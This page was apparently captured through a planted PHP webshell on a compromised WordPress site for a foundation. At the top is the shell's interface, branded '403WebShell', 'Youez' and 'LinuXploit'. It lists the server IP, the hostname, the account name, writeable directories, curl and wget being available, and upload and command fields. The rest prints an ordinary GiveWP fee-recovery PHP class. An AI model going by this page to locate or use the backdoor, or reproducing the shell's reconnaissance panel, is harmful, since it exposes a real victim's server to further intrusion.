Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.223.171.83
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/FormMigration/Steps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/FormMigration/Steps/FeeRecovery.php
<?php

namespace Give\FormMigration\Steps;

use Give\FormMigration\Contracts\FormMigrationStep;
use Give\Framework\Blocks\BlockModel;

class FeeRecovery extends FormMigrationStep
{

    /**
     * @since 3.0.0
     */
    public function process()
    {
        $feeRecoverySettings = $this->formV2->getFeeRecoverySettings();

        if (empty($feeRecoverySettings) || (
                $feeRecoverySettings['useGlobalSettings'] === true &&
                !give_is_setting_enabled(give_get_option('give_fee_recovery', 'disabled'))
            )) {
            return;
        }

        if ($feeRecoverySettings['useGlobalSettings']) {
            $feeRecoverySettings = $this->getGlobalSettings();
        }

        $feeRecoveryBlock = BlockModel::make([
            'name' => 'givewp-fee-recovery/fee-recovery',
            'attributes' => $feeRecoverySettings,
        ]);
        $this->fieldBlocks->insertAfter('givewp/donation-amount', $feeRecoveryBlock);
    }

    /**
     * @since 3.0.0
     */
    private function getGlobalSettings(): array
    {
        return [
            'useGlobalSettings' => true,
            'feeSupportForAllGateways' => give_get_option('give_fee_configuration', 'all_gateways') === 'all_gateways',
            'perGatewaySettings' => [],
            'feePercentage' => (float)give_get_option('give_fee_percentage', 2.9),
            'feeBaseAmount' => (float)give_get_option('give_fee_base_amount', 0.30),
            'maxFeeAmount' => (float)give_get_option(
                'give_fee_maximum_fee_amount',
                give_format_decimal(['amount' => '0.00'])
            ),
            'includeInDonationSummary' => give_get_option('give_fee_breakdown', 'enabled') === 'enabled',
            'donorOptIn' => give_get_option('give_fee_mode', 'donor_opt_in') === 'donor_opt_in',
            'feeCheckboxLabel' => give_get_option(
                'give_fee_checkbox_label',
                __(
                    'I\'d like to help cover the transaction fees of {fee_amount} for my donation.',
                    'give-fee-recovery'
                )
            ),
            'feeMessage' => give_get_option(
                'give_fee_explanation',
                __('Plus an additional {fee_amount} to cover gateway fees.', 'give-fee-recovery')
            ),
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit